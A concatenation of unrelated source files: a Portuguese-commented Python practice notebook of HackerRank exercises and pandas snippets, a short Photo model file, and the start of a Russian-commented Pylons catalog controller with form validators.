'password': user['login']['password'],
'email': user['email']
})
processed_user.to_csv('/tmp/processed_user.csv', index=None, header=False)
process_user = PythonOperator(
task_id='process_user',
python_callable=_process_user
)
# + [markdown] tags=[]
# # Rsplit de um json colocando em df, pega a última palavra do split
# -
df = pd.DataFrame([
{
'codigo_siorg': int(unidade['codigoOrgaoEntidade'].rsplit('/', 1)[-1]),
'nome_orgao_siorg': unidade['nome']
}
for unidade in data['unidades']
])
# ### Isin
import numpy as np
import pandas as pd
df = pd.DataFrame({'num_legs': [2, 4], 'num_wings': [2, 0]},
index=['eagle', 'cat'])
df
df.isin([0, 2])
#este cara aqui corrige latitude e longitude, vamos olhar o exemplo
#124,,,3134.2134,3,,,24
def fix_coord(s):
try:
#Troca tudo por . 124...3134.2134.3...24
s = s.replace(',', '.')
#quebra no ponto 124 3134 2134 3 24
split_s = s.split('.')
#se tem mais que dois blocos faz loop
#os blocos são'123', '', '', '4567', '8901', '2', '', '', '34'
if len(split_s) > 2:
#print(split_s)
#pega o primeiro bloco e coloca um ponto no final
s_fix = split_s[0] + '.'
#loop do segundo bloco (split) em diante, simplesmente concatenando os blocos
for s_ in split_s[1:]:
s_fix += s_
return s_fix
else:
return s
except:
return s
fix_coord('123,,,4567.8901,2,,,34')
# +
#cliente.search_recent_tweets(query='Petrobras', *, end_time=None, expansions=None, max_results=None, media_fields=None, next_token=None, place_fields=None, poll_fields=None, since_id=None, sort_order=None, start_time=None, tweet_fields=None, until_id=None, user_fields=None, user_auth=False)
#cliente.search_recent_tweets(query='BBB')
#cliente.search_recent_tweets(query='Petrobras')
# -
import this
# ### vetor, ceil, += , for 42-100, raise Exception, def ([lista],int)
# +
import math
# crie um vetor de 200 posições, todas posições com 0
vetor = [0] * 201
posicao = 3
#arredondar para cima
arredondado = math.ceil(posicao/2)
#altere o valor da terceira posição do vetor
vetor[posicao] = 333
print('#1')
print('arredondado:', arredondado)
#soma um
print('#2')
vetor[arredondado] += 1
print(vetor)
print('#3')
#loop de 42 a 45
#no limite final, some 1
for i in range(42, 46):
print(i)
print('#4')
for gasto in range(3):
print(gasto)
print('#5')
despesas = [10,20,30,40,50]
print("despesas3:",despesas[3])
despesas[3]=42
print("despesas3:",despesas[3])
print('#6')
def exibe(lista,valor):
return("lista",lista, "valor",valor)
raise Exception("função exibe tem erro")
print(exibe([10,20,30,40,50],4))
# +
#versão comentada código guilherme silveira fraudulent...
import math
import os
import random
import re
import sys
#expenditure = [10,20,30,40,50]
#d=3
#pegar a mediana de gasto dos dias anteriores
#para calcular a mediana ordenamos os itens da lista em ordem crescente
#se número de itens for ímpar pegamos o do meio
#se for par, tiramos a média dos dois do meio
# para isto verificar quantos itens temos excluindo o último
#verificar se gasto de hoje é o dobro ou mais que a mediana
#tamanho = len(expenditure)
#print(tamanho)
#expenditure.sort()
#for i in range (tamanho-1):
#print (i)
#for valor in expenditure:
# print(valor)
def proximo_gasto(existentes, gasto):
# loop percorrendo posições de um cursor
#recebe gasto e existentes, itera do gasto+1 até 201
for i in range(gasto+1, 201):
#se próxima posição do existentes > 0
if existentes[i]>0:
#retorna a posição, caso registro desta posição > 0
return i
raise Exception("não calculei direito")
#função mediana, recebe existentes (um vetor de 200 posições) e d (=4)
def mediana(existentes, d):
#3
#caso d seja impar
if d % 2 == 1:
posicao = math.ceil(d/2)
else:
#4,
#se d é par(=4), posição é no meio
posicao= d / 2
#posicao = d//2
soma = 0
#como sao 200 valores, a gente vai fazendo arrays de 5, como estes arrays são ordenados
#para pegar a mediana, a gente não pode acrescentar o próxmo e retirar o primeiro, pois isto
#tiraria os registros da ordem.
#para dar certo a gente tira o quinto de onde ele esteja e coloca o novo na posição que tenha um
# menor antes e um maior depois, pra lista continuar ordenada
for gasto in range(201):
# quantidade = valor no vetor existentes na posição gasto(que vai de 0 a 201)
quantidade = existentes[gasto]
if quantidade ==0:
continue
#print(gasto, quantidade, posicao)
if soma + quantidade > posicao:
return gasto
if soma + quantidade == posicao:
if d % 2 == 1: # se for impar
return gasto
proximo = proximo_gasto(existentes, gasto)
# print(proximo)
total = (gasto + proximo)
# print(total)
return total / 2
soma += quantidade
raise Exception("fiz algo errado")
# FUNÇÃO PRINCIPAL
# FUNÇÃO PRINCIPAL
# FUNÇÃO PRINCIPAL
def activityNotifications(expenditure, d): #recebe expenditure (=lista de 5 itens) e d=4
# um vetor de 200 posições, todas posições com 0 porque ninguém gastou nada ainda
existentes = [0] * 201
fraudes = 0
#dia vai iterar até o tamanho de expenditure - 5
for dia in range(len(expenditure)):
#gasto no dia 0=10 1=20 2=30...
gasto_no_dia = expenditure[dia]
if dia < d: # se dia está antes da faixa pedida (4)
#vetor existentes[10] (10 é o valor do dia 0) recebe acréscimo de 1 (0+1)
existentes[gasto_no_dia] += 1
# não faço mais nada
continue
#será que é fraude?
# calculamos mediana usando def mediana (vetor existentes, 4)
m = mediana(existentes,d)
# se gasto_no_dia (=10) >= mediana *2
if gasto_no_dia >= m * 2:
#soma 1 a fraudes
fraudes += 1
#print("fraudes",fraudes)
#vetor existentes na posição 10 (existentes[10]) é acrescido de 1
existentes[gasto_no_dia] += 1
#print('existentes',existentes[gasto_no_dia])
#gasto_antigo =expenditure[0-4] por isto só começamos no dia 4, daí gasto_antigo receberá valor do dia 0 (=10)
#gasto_antigo = expenditure [dia - d]
print("gasto_antigo",gasto_antigo)
#existentes na posição 10 é decrescido de 1
existentes[gasto_antigo] -= 1
#print (existentes)
#retorna fraudes que vale 0, depois 1, 2, 3 , 4
return fraudes
print(activityNotifications([10,20,30,40,50],4))
print(activityNotifications([10,20,25,40,50],4))
print(activityNotifications([10,20,30,40,50],3))
print(activityNotifications([30,10,20,40,50],3))
# -
#crie lista com 'a','b' e 'c'
alphabet = ['a','b','c']
print (alphabet)
# ### Fraudulent Activity Notifications hackerrank Guilherme Silveira
#
# https://www.youtube.com/watch?v=8R71Y8DJiAY&t=308s
# +
import math
import os
import random
import re
import sys
#expenditure = [10,20,30,40,50]
#d=3
#pegar a mediana de gasto dos dias anteriores
#para calcular a mediana ordenamos os itens da lista em ordem crescente
#se número de itens for ímpar pegamos o do meio
#se for par, tiramos a média dos dois do meio
# para isto verificar quantos itens temos excluindo o último
#verificar se gasto de hoje é o dobro ou mais que a mediana
#tamanho = len(expenditure)
#print(tamanho)
#expenditure.sort()
#for i in range (tamanho-1):
#print (i)
#for valor in expenditure:
# print(valor)
def proximo_gasto(existentes, gasto):
for i in range(gasto+1, 201):
if existentes[i]>0:
return i
raise Exception("não calculei direito")
def mediana(existentes, d):
#3
if d % 2 == 1:
posicao = math.ceil(d/2)
else:
#4, posição é 2
#se temos [a, b, c, d] a posição 2 é c
posicao= d / 2
#posicao = d//2
soma = 0
#como sao 200 valores, a gente vai fazendo arrays de 5, como estes arrays são ordenados
#para pegar a mediana, a gente não pode acrescentar o próxmo e retirar o primeiro, pois isto
#tiraria os registros da ordem.
#para dar certo a gente tira o quinto de onde ele esteja e coloca o novo na posição que tenha um
# menor antes e um maior depois, pra lista continuar ordenada
for gasto in range(201):
quantidade = existentes[gasto]
if quantidade ==0:
continue
#print(gasto, quantidade, posicao)
if soma + quantidade > posicao:
return gasto
if soma + quantidade == posicao:
if d % 2 == 1: # se for impar
return gasto
proximo = proximo_gasto(existentes, gasto)
# print(proximo)
total = (gasto + proximo)
# print(total)
return total / 2
soma += quantidade
raise Exception("fiz algo errado")
def activityNotifications(expenditure, d):
existentes = [0] * 201 #um vetor de 200 posições, começa em 0 porque ninguém gastou nada ainda
fraudes = 0
for dia in range(len(expenditure)):
gasto_no_dia = expenditure[dia]
if dia < d: # se dia está antes da faixa pedida, se tem q ser 4 e estou no terceiro, não faço nada
existentes[gasto_no_dia] += 1
continue
#será que é fraude?
m = mediana(existentes,d)
if gasto_no_dia >= m * 2:
fraudes += 1
existentes[gasto_no_dia] += 1
gasto_antigo = expenditure [dia - d]
existentes[gasto_antigo] -= 1
#print (existentes)
return fraudes
# +
print(activityNotifications([10,20,30,40,50],4))
print(activityNotifications([10,20,25,40,50],4))
print(activityNotifications([10,20,30,40,50],3))
print(activityNotifications([30,10,20,40,50],3))
# -
# ### Outra solução (PASSOU NO TESTE) TIREI DAQUI
# https://github.com/srgnk/HackerRank/blob/master/interview-preparation-kit/fraudulent-activity-notifications.py
# +
import sys
import bisect as bs
def index(a, x):
'Locate the leftmost value exactly equal to x'
i = bs.bisect_left(a, x)
if i != len(a) and a[i] == x:
return i
raise ValueError
def median(a_sorted, days):
half = len(a_sorted)//2
if days % 2:
median = a_sorted[half]
else:
median = (a_sorted[half-1] + a_sorted[half])/2
return float(median)
def activityNotifications(log, days):
heap = sorted(log[:days])
res = 0
med = 0
to_del = 0
for ind in range(days, len(log)):
med = median(heap, days)
#print("heap: {}".format(heap))
#print("log[{}] = {} med = {}".format(ind, log[ind], med))
if float(log[ind]) >= 2*med:
res += 1
#del heap[heap.index(log[to_del])]
del heap[index(heap, log[to_del])]
bs.insort(heap, log[ind])
to_del += 1
return res
# +
print(activityNotifications([10,20,30,40,50],4))
print(activityNotifications([10,20,25,40,50],4))
print(activityNotifications([10,20,30,40,50],3))
print(activityNotifications([30,10,20,40,50],3))
# -
# ### atualizando itens em um dicionário
# +
# update item in a dictionary
# dictionary of a sample portfolio
shares = {'APPL': 100, 'GOOG': 50}
# print
print("Shares in your portfolio:", shares)
# update the shares of 'GOOG' to 150
shares['GOOG'] = 150
# print
print("Shares in your portfolio:", shares)
# -
# ### atualizando itens em uma lista de dicionários
# +
my_dicts = [
{ 'key1' : 'value1',
'key2' : 'value2' },
{ 'key3' : 'value3',
'key4' : 'value4' },
{ 'key5' : 'value5',
'key6' : 'value6' }]
update = {'key2':'value3'}
new_dicts = [{**d,**update} for d in my_dicts]
new_dicts
# -
# ### Outros updates de itens
# +
data = [
{'name': 'sravan', 'subjects': ['java', 'python']},
{'name': 'bobby', 'subjects': ['c/cpp', 'java']},
{'name': 'ojsawi', 'subjects': ['iot', 'cloud']},
{'name': 'rohith', 'subjects': ['php', 'os']},
{'name': 'gnanesh', 'subjects': ['html', 'sql']}
]
# display first student
print(data[0])
# display all student
data
# +
# update first student python subject
# to html
data[0]['subjects'].append('html')
data[0]['subjects'].pop(1)
# update third student java subject
# to dbms
data[2]['subjects'].append('dbms')
data[2]['subjects'].pop(1)
# update forth student php subject
# to php-mysql
data[3]['subjects'].append('php-mysql')
data[3]['subjects'].pop(0)
# display updated list
data
# +
# update first student python subject
# to html
data[0]['subjects'].insert(0, 'html')
data[0]['subjects'].pop(1)
# update third student java subject
# to dbms
data[2]['subjects'].insert(0, 'dbms')
data[2]['subjects'].pop(1)
# update forth student php subject
# to php-mysql
data[3]['subjects'].insert(1, 'php-mysql')
data[3]['subjects'].pop(0)
# display updated list
data
# -
# ### Sorting: Bubble Sort
# +
primeiro_elemento = '1'
segundo_elemento = '1 2 3'
# n = int(input().strip())
# a = list(map(int, input().rstrip().split()))
n = int(primeiro_elemento.strip())
a = list(map(int, segundo_elemento.rstrip().split()))
def countSwaps(a):
swaps=0
for i in range(len(a)):
for j in range(len(a)-1):
if a[j]> a[j+1]:
a[j],a[j+1]=a[j+1],a[j]
swaps+=1
print("Array is sorted in " + str(swaps) + " swaps.")
print("First Element: " + str(a[0]))
print("Last Element: " + str(a[len(a)-1]))
countSwaps(a)
# -
# ### ordenação
# +
primeiro_elemento = '1'
segundo_elemento = '1 2 3'
# n = int(input().strip())
# a = list(map(int, input().rstrip().split()))
n = int(primeiro_elemento.strip())
a = list(map(int, segundo_elemento.rstrip().split()))
# Write your code here
j = 1
i = 0
swap = []
# Write your code here
for i in range(n):
currentSwaps = 0
for j in range(n-1):
if a[j]>a[j+1]:
a[j],a[j+1]=a[j+1],a[j]
swap.append(a[i])
currentSwaps += 1
if currentSwaps == 0:
break
print("Array is sorted in",len(swap),"swaps.")
print("First Element:",a[0])
print("Last Element:",a[-1])
# -
# ### List Comprehensions Hackerrank
x=2
y=2
z=2
n=1
x, y, z, n = int(x), int(y), int(z), int(n)
print ([[a,b,c] for a in range(0,x+1) for b in range(0,y+1) for c in range(0,z+1) if a + b + c != n ])
seasons = ['Spring', 'Summer', 'Fall', 'Winter']
#list(enumerate(seasons))
list(enumerate(seasons, start=10))
x=1
eval('x+1')
# ### ORGANIZING CONTAINERS GUILHERME SILVEIRA
# +
import math
import os
import random
import re
import sys
#
# Complete the 'organizingContainers' function below.
#
# The function is expected to return a STRING.
# The function accepts 2D_INTEGER_ARRAY container as parameter.
#
def organizingContainers(containers):
n = len(containers)
capacidade_de_containers = []
quantidade_de_bolas = [0] * n
for container in containers:
total_do_container = sum(container)
capacidade_de_containers.append(total_do_container)
for tipo,quantidade in enumerate(container):
quantidade_de_bolas[tipo] += quantidade
#sorted(capacidade_de_containers)
#o sorted não devolve a variável reordenada, só na exibição
#por isto usamos .sort()
capacidade_de_containers.sort()
quantidade_de_bolas.sort()
capacidade_de_containers.sort()
if capacidade_de_containers == quantidade_de_bolas:
return "Possible"
return "Impossible"
# +
print(organizingContainers([[1,3,1],[2,1,2],[3,3,3]]))
print(organizingContainers([[0,2,1],[1,1,1],[2,0,0]]))
print(organizingContainers([[2,0,0],[1,1,1],[0,2,1]]))
print(organizingContainers([[2,0,0],[1,1,1],[0,2,1]]))
# -
2
3
1 3 1
2 1 2
3 3 3
3
0 2 1
1 1 1
2 0 0
# +
def saveThePrisoner(cadeiras, inicial, doces):
# Write your code here
res = (inicial + doces-1) % cadeiras
return res if res != 0 else cadeiras
#return res
t = int(input().strip())
for a0 in range(t):
cadeiras, doces, inicial = input().strip().split(' ')
cadeiras, doces, inicial = [int(cadeiras), int(doces), int(inicial)]
result = saveThePrisoner(cadeiras, doces, inicial)
print(result)
#x=(2 5 5)
cadeiras=8
inicial=8
doces=9
saveThePrisoner(cadeiras,inicial,doces)
# -
# # SAVE THE PRISIONER GUILHERME SILVEIRA
# SAVE THE PRISIONER GUILHERME SILVEIRA
# https://www.youtube.com/watch?v=0aRlTx9kh18
def saveThePrisoner(cadeiras, doces, inicial):
# Write your code here
sobraram = (doces % cadeiras)
if sobraram == 0 and inicial == 1:
return cadeiras
pessoa = (inicial + sobraram - 1) % cadeiras
if pessoa == 0:
return cadeiras
return pessoa
#teste livre
saveThePrisoner (3,7,3)
#caso normal, 4 cadeiras, 6 doces, inicio na cadeira 1
#caso que hackerrank deu de exemplo
saveThePrisoner (4,6,1)
#caso , 4 cadeiras, 4 doces, inicio na cadeira 1
#caso normal, mesmo número de doces e cadeiras e começa na primeira
saveThePrisoner (4,4,1)
#caso , 4 cadeiras, 4 doces, inicio na cadeira 2
#caso um pouco diferente, começa mais na frente pra ver quando roda a mesa toda e recomeça
saveThePrisoner (4,4,2)
#caso , 4 cadeiras, 4 doces, inicio na cadeira 4
#caso borda, mesmo número de cadeiras e doces e começa na última
saveThePrisoner (4,4,4)
# +
#caso , 4 cadeiras, 1 doce, inicio na cadeira 1
#caso borda, só dá um doce
saveThePrisoner (4,1,1)
# -
#caso , 4 cadeiras, 3 doces, inicio na cadeira 3
#caso borda, mais cadeiras que doces e começa no final
saveThePrisoner (4,3,3)
#caso borda, 3 cadeiras, 7 doces, inicio na cadeira 3
#caso borda, mais que o dobro de doces que cadeiras e começa no final (o teste hackerrank quebrou neste caso)
saveThePrisoner (3,7,3)
# +
# Pulando nuvens
'''
7
0 0 1 0 0 1 0
'''
# você pode pular em cima de qualquer cumulus (0) que esteja uma ou duas posições depois da atual
# as thunder (1) devem ser evitadas - não pulamos em cima delas
def jumpingOnClouds(c): #len(c) = 8
current_position = 0
number_of_jumps = 0
last_cloud_postion = len(c)-1 # 7
last_second_postion = len(c)-2 # 6
# 0 < 6
while current_position<last_second_postion:
#Checking if the cloud next to the next cloud is thunderstorm
if c[current_position+2] == 0: #70010010 se a segunda posição pra frente for zero pulamos duas posições
current_position += 2 #2,4, 7
else:
current_position += 1 #5 caso contrário, pulamos só uma posição
number_of_jumps += 1 # adiciona um salto à sua lista (não é o número de posições que avançamos, simplesmente salto)
#Checking if we are in the last cloud or the last second cloud
#se não estamos na última posição ainda, soma mais um salto
if current_position != last_cloud_postion: # 7 != 7
number_of_jumps += 1 # 5
return number_of_jumps
entrada = '7 0 0 1 0 0 1 0'
# entrada='6 0 0 0 0 1 0'
c = list(map(int,entrada.split())) # o c entra sem espaços por conta do split
print(jumpingOnClouds(c))
# +
#DESAFIO HACKERRANK COUNTING VALLEYS
def countingValleys(steps, path):
level = 0
valleys = 0
for step in path:
if step == 'U':
level+=1
# se ele está subindo Up e atinge o nível do mar 0, então ele conta um vale
if level == 0:
valleys+=1
else:
level-=1
return valleys
countingValleys(8,'UDDDUDUU')
# -
# +
from itertools import combinations
x = "a a c d"
N = 4
L = x.split()
K = 2
C = list(combinations(L, K))
F = filter(lambda c: 'a' in c, C)
print("{0:.3}".format(len(list(F))/len(C)))
# -
#print(C)
print(list(F))
# +
import itertools
a_list = [("Animal", "cat"),
("Animal", "dog"),
("Bird", "peacock"),
("Bird", "pigeon"),
("Bird", "passaralho")]
an_iterator = itertools.groupby(a_list, lambda x : x[0])
for key, group in an_iterator:
key_and_group = {key : list(group)}
print(key_and_group)
# +
import itertools
L = [("a", 1), ("a", 2), ("b", 3), ("b", 4)]
# Key function
key_func = lambda x: x[0]
for key, group in itertools.groupby(L, key_func):
print(key + " :", list(group))
# -
#Compress the String!
from itertools import groupby
x='1222311'
for k, c in groupby(x):
print("(%d, %d)" % (len(list(c)), int(k)), end=' ')
#itertools.combinations_with_replacement()
#solucao mais simples
from itertools import combinations_with_replacement
z = "hack 2"
x=z.split()
s,p=x[0],int(x[1])
y=combinations_with_replacement(sorted(s),p)
for i in (y):
print(*i,sep="")
#itertools.combinations_with_replacement()
# solucao com list comprehensions
# Enter your code here. Read input from STDIN. Print output to STDOUT
from itertools import combinations_with_replacement
#s, n = input().split()
x = "hack 2"
s, n = x.split()
print(*[''.join(i) for i in combinations_with_replacement(sorted(s), int(n))], sep="\n")
# aqui é aquele caso que não tem repeticao, por ex, se tem ac não tem ca, se tem ah não tem ha
# +
# itertools.combinations() in Python - Hacker Rank Solution
from itertools import combinations
x = "hack 2"
#s , n = input().split()
s,n = x.split()
for i in range(1, int(n)+1):
for j in combinations(sorted(s), i):
print(''.join(j)) # o join fala o caracter que fica entre os dois quando tiver mais de dois
# +
# itertools.permutations() in Python - Hacker Rank Solution
# Python 3
# itertools.permutations() in Python - Hacker Rank Solution START
from itertools import permutations
x = "hack 2"
#no input digite hack 2
#s,k = input().split()
s,k = x.split()
words = list(permutations(s,int(k)))
words = sorted(words, reverse=False)
for word in words:
print(*word,sep='')
# itertools.permutations() in Python - Hacker Rank Solution END
# +
# Strip split o strip tease da banana split é um jeito de pegar coluna a coluna de uma matriz
my_string = "blah, lots , of , spaces, here "
result = [x.strip() for x in my_string.split(',')]
# result is ["blah", "lots", "of", "spaces", "here"]
print(result)
# +
#strip tira os espaços - Remove spaces at the beginning and at the end of the string:
txt = " banana "
x = txt.strip()
print("of all fruits", x, "is my favorite")
#Split a string into a list where each word is a list item:
txt = "welcome to the jungle"
x = txt.split()
print(x)
# +
A = [1, 2]
B = [3, 4]
# itertools.product() in Python - Hacker Rank Solution
# Enter your code here. Read input from STDIN. Print output to STDOUT
# itertools.product() in Python - Hacker Rank Solution START
from itertools import product
#A = input().split()
A = list(map(int,A))
#B = input().split()
B = list(map(int, B))
output = list(product(A,B))
for i in output:
print(i, end = " ");
# itertools.product() in Python - Hacker Rank Solution END
print(output)
# +
# #!/bin/python3
# o legal aqui é que o script pega as colunas da matriz e vai percorrendo e trocando símbolos esquisitos por espaço
import math
import os
import random
import re
import sys
first_multiple_input = input().rstrip().split()
n = int(first_multiple_input[0])
m = int(first_multiple_input[1])
matrix = []
for _ in range(n):
matrix_item = input()
matrix.append(matrix_item)
# start
matrix = list(zip(*matrix))
sample = str()
for words in matrix:
for char in words:
sample += char
print(re.sub(r'(?<=\w)([^\w\d]+)(?=\w)', ' ', sample))
#no input aqui embaixo vá colocando linha a linha
'''
7 3
Tsi
h%x
i #
sM
$a
#t%
ir!
'''
# +
# validando cep, tem que estar entre 100000 e 999999 e não pode repetir números separados por um outro,
# por exemplo 101 929
#regex_integer_in_range = r"_________" # Do not delete 'r'.
#regex_alternating_repetitive_digit_pair = r"_________" # Do not delete 'r'.
regex_integer_in_range = r"^[1-9][\d]{5}$" # Do not delete 'r'.
regex_alternating_repetitive_digit_pair = r"(\d)(?=\d\1)" # Do not delete 'r'.
# Validating Postal Codes in Python - Hacker Rank Solution END
import re
P = input()
print (bool(re.match(regex_integer_in_range, P))
and len(re.findall(regex_alternating_repetitive_digit_pair, P)) < 2)
# -
# Validating Credit Card Numbers in Python Hacker Rank Solution
# Python 3
# Enter your code here. Read input from STDIN. Print output to STDOUT
# Validating Credit Card Numbers in Python Hacker Rank Solution START
import re
for i in range(int(input())):
S = input().strip()
pre_match = re.search(r'^[456]\d{3}(-?)\d{4}\1\d{4}\1\d{4}$',S)
if pre_match:
processed_string = "".join(pre_match.group(0).split('-'))
final_match = re.search(r'(\d)\1{3,}',processed_string)
if final_match:
print('Invalid')
else :
print('Valid')
else:
print('Invalid')
# Validating Credit Card Numbers in Python Hacker Rank Solution END
# +
#outra solucao cartao de credito
import re
def check(card):
if not re.search("^[456]\d{3}(-?\d{4}){3}$",card) or re.search(r"(\d)\1{3}", re.sub("-", "",card)):
return False
return True
for i in range(int(input())):
print("Valid" if check(input()) else "Invalid")
# -
#imprimir a sequencia de números de 1 até o número digitado, tem que ser colados
print(*range(1, int(input())+1), sep='')
#parece que o asterisco é para remover espaços
#imprimir a sequencia de números de 1 até o número digitado, tem que ser colados
#OUTRA SOLUCAO
n = int(input())
for i in range(1, n+1):
print(i, end="")
# +
STDIN = input()
import re
for _ in range(int(STDIN())):
s=STDIN().strip()
print('Valid' if re.search(r'[A-Z].*[A-Z]',s) and re.search(r'[0-9].*[0-9].*[0-9]',s) and re.search(r'^[0-9a-zA-Z]{10}$',s) and not re.search(r'(.).*\1',s) else 'Invalid')
# -
for i in xrange(10):
print i,
# +
#hackerrank opares e impares
# #!/bin/python3
import sys
#If is odd(impar), print Weird
#If is even(par) and in the inclusive range of 2 to 5 , print Not Weird
#If is even and in the inclusive range of 6 to 20 , print Weird
#If is even and greater than 20, print Not Weird
N = int(input().strip())
if N % 2 == 1 or N >= 6 and N <= 20:
print("Weird")
elif N >= 2 and N <= 5 or N >= 20:
print("Not Weird")
# -
#Encontrar o elemento de valor 10 na lista [1, 2, 10, 5, 20]
#e retornar a posição em que ele foi encontrado
lista = [1, 2, 10, 5, 20]
valor = 10
pos = -1
for i in range(len(lista)-1,-1,-1):
if lista[i] == valor:
pos = i
print(pos)
lista = [1, 2, 3, 4]
#remove a segunda posicao - lembre que comeca na 0
lista.pop(2)
print(lista)
print (lista[2])
lista = [1, 4, 5, 6, 4, 7]
lista.remove(4)
print(lista)
#crie uma funçao chamada quadrado para calcular o quadrado
def quadrado(x):
quadrado = x*x
return (quadrado)
quadrado(9)
def cubo(x):
return x ** 3
cubo(3)
type (cubo)
#faz função lambda para calcular quadrado
lambda x: x ** 2
quadrado (5)
#Quadrado de 5 usando funcao lambda
#faz função lambda para calcular quadrado
(lambda x: x ** 2)(5)
#chamando a funçäo lambda de minha_funcao
minha_funcao = lambda x: x ** 2
minha_funcao(6)
lista = [1, 2, 10, 5, 20]
pos = lista.index(10)
print(pos)
#Quando o elemento procurado não está na lista, o
#método index lança uma exceção
lista = [1, 2, 3, 4]
lista.index(7)
lista = [1, 2, 3, 4]
resultado = 7 in lista
print(resultado)
resultado = 3 in lista
print(resultado)
lista = [10, 9, 8, 7, 5, 3, 4, 3, 1, 2, 11]
lista.sort()
print(lista)
lista = [1, 3, 2, 4]
lista.reverse()
print(lista)
lista = ['a', 'b', 'c', 'd', 'e']
lista[2:]
lista [:3]
lista[:0]
lista[1:3]
lista[1:-1]
lista = [1,2,3,4,5]
lista[1:3] = ['a', 'b']
lista
import pandas as pd
import os
#note que as barras aqui embaixo são para a direita
os.chdir("C:/Users/gustavo/Downloads/taxigov-users-geral-2021-09")
#df = pd.read_csv('tipo1.csv', parse_dates=['lanData'])
#df = pd.read_csv('tipo1.csv', parse_dates= ['lanData'],encoding='utf-8-sig', usecols= ['lanData', 'lanCod'],)
#df = pd.read_csv('taxigov_users-geral.csv', parse_dates= ['lanData'],encoding='utf-8-sig')
df = pd.read_csv('taxigov_users-geral.csv',encoding='utf-8-sig')
df.head()
| [
"gutaors@gmail.com"
] | gutaors@gmail.com |
949038ebdf9753e56dcfe9c20bd188ff885222d8 | 6814d3633affbacefa6510ec26d8d8198e4d7d08 | /models.py | 18ee00802e91b484c00c5ed33fc1b843988b71c8 | [] | no_license | mariocamaraneto/SkyHub | ee9ce395ac5a75d080299f1bb3caf87c1a467988 | be43fcae3758cc59c5b80700eab7b82b209a7cd5 | refs/heads/master | 2022-12-14T13:05:21.257729 | 2017-06-07T06:48:45 | 2017-06-07T06:48:45 | 93,587,439 | 0 | 0 | null | 2022-11-22T01:46:16 | 2017-06-07T03:15:03 | Python | UTF-8 | Python | false | false | 174 | py | from db import db
class Photo(db.Document):
url = db.StringField()
path_large = db.StringField()
path_medium = db.StringField()
path_small = db.StringField() | [
"mariocamaraneto@gmail.com"
] | mariocamaraneto@gmail.com |
7c5d2d23bc243408c2cc2678b42f0f0f589019e4 | 2d74104aaa132896a65ea0032951eee5d4c97840 | /chemman/floor_map/apps.py | a55b9d94eeb570eacc258399a39914b0a100a76f | [] | no_license | Whitie/ChemManager | 6e228e8713f9dfeca21adbd3e9a65c8871a822bc | d40792361527219514b1b4cc03718ea7c2a92777 | refs/heads/master | 2023-06-09T09:29:41.626087 | 2022-12-14T13:29:44 | 2022-12-14T13:29:44 | 189,994,861 | 0 | 0 | null | 2023-04-21T21:40:13 | 2019-06-03T11:47:23 | Python | UTF-8 | Python | false | false | 92 | py | from django.apps import AppConfig
class FloorMapConfig(AppConfig):
name = 'floor_map'
| [
"weimann.th@yahoo.com"
] | weimann.th@yahoo.com |
4e5c2182e548c13c2a86d5375448e7719ceebe95 | b066191ce947eb7ca4acebd021070ee46eae4d05 | /backend/apiserver/helpers/exceptions.py | c977d50f6ade3ffe4c7206fea11617847827a345 | [] | no_license | friendlywhales/lineup-web | 17624b8c17678eb1abd380fa603d5559ece83115 | ed06227b14a57791449a4c134c5a0955fc5b9f27 | refs/heads/master | 2022-12-04T20:08:13.482782 | 2020-09-01T07:59:49 | 2020-09-01T07:59:49 | 291,615,047 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 270 | py |
from django.utils.translation import ugettext as _
from rest_framework.exceptions import ValidationError
class FrozenPostError(ValidationError):
default_detail = _('삭제 가능 기한을 지나 삭제할 수 없습니다.')
default_code = 'denied-deletion'
| [
"sooeun@gmail.com"
] | sooeun@gmail.com |
95df1ccae68346a5ae7a648bbaf1f8ab1f06dad7 | d78d18eeb2033606537058e66740e3c43d62134b | /purchase/controllers/catalog.py | e964682dc01d63de79e67ca2d5bd1e2c15d1d1db | [] | no_license | saguitarius/Purchase | ea65ef5b004251a4fdf430b0bd6103ef23df22b4 | 8e687f37a02c4e89735400704e764475de0472c7 | refs/heads/master | 2020-08-28T00:24:08.733321 | 2011-05-30T17:38:56 | 2011-05-30T17:38:56 | 1,403,771 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,273 | py | ## -*- coding: utf-8 -*-
import logging
from pylons import request, response, session, tmpl_context as c, url
from pylons.controllers.util import abort, redirect
from purchase.lib.base import BaseController, render
import purchase.lib.helpers as h
from purchase.lib import auth
from authkit.users.sqlalchemy_driver import UsersFromDatabase
from authkit.authorize.pylons_adaptors import authorize
from authkit.authorize.pylons_adaptors import authorized
from authkit.permissions import ValidAuthKitUser
from authkit.permissions import HasAuthKitRole
import purchase.model as model
import purchase.model.meta as meta
import formencode
from formencode import htmlfill
from pylons.decorators import validate
from pylons.decorators.rest import restrict
from sqlalchemy import delete
import datetime
from pylons import app_globals
log = logging.getLogger(__name__)
class UniqueSection(formencode.validators.FancyValidator):
"""Проверка, уникально ли название раздела"""
def _to_python(self, values, state):
section_q = meta.Session.query(model.Section)
query = section_q.filter_by(name=values['name'])
if request.urlvars['action'] == 'create_section':
existing = query.first()
if existing is not None:
raise formencode.Invalid("Раздел с таким названием уже "
"сущетвует.", values, state)
return values
class NewSectionForm(formencode.Schema):
"""Проверка данных формы создания нового раздела"""
allow_extra_fields = True
filter_extra_fields = True
name = formencode.validators.String(
not_empty=True,
messages={
'empty':u'Введите название раздела.'
}
)
parent_section = formencode.validators.String(not_empty=True)
description = formencode.validators.String(
not_empty=True,
messages={
'empty':u'Введите описание раздела.'
}
)
chained_validators = [UniqueSection()]
class EditSectionForm(formencode.Schema):
"""Проверка данных формы изменения нового раздела"""
allow_extra_fields = True
filter_extra_fields = True
name = formencode.validators.String(
not_empty=True,
messages={
'empty':u'Введите название раздела.'
}
)
description = formencode.validators.String(
not_empty=True,
messages={
'empty':u'Введите описание раздела.'
}
)
chained_validators = [UniqueSection()]
class DeleteSectionForm(formencode.Schema):
"""Проверка данных формы удаления нового раздела"""
allow_extra_fields = True
filter_extra_fields = True
parent_section = formencode.validators.String(not_empty=True)
class NewItemForm(formencode.Schema):
"""Проверка данных формы создания нового объекта"""
allow_extra_fields = True
filter_extra_fields = True
brand = formencode.validators.String(not_empty=True)
model = formencode.validators.String(not_empty=True)
description = formencode.validators.String(not_empty=True)
section_id = formencode.validators.String(not_empty=True)
unit_id = formencode.validators.Int(not_empty=True)
price = formencode.validators.Number(not_empty=True)
class SearchForm(formencode.Schema):
"""Проверка данных формы поиска"""
allow_extra_fields = True
filter_extra_fields = True
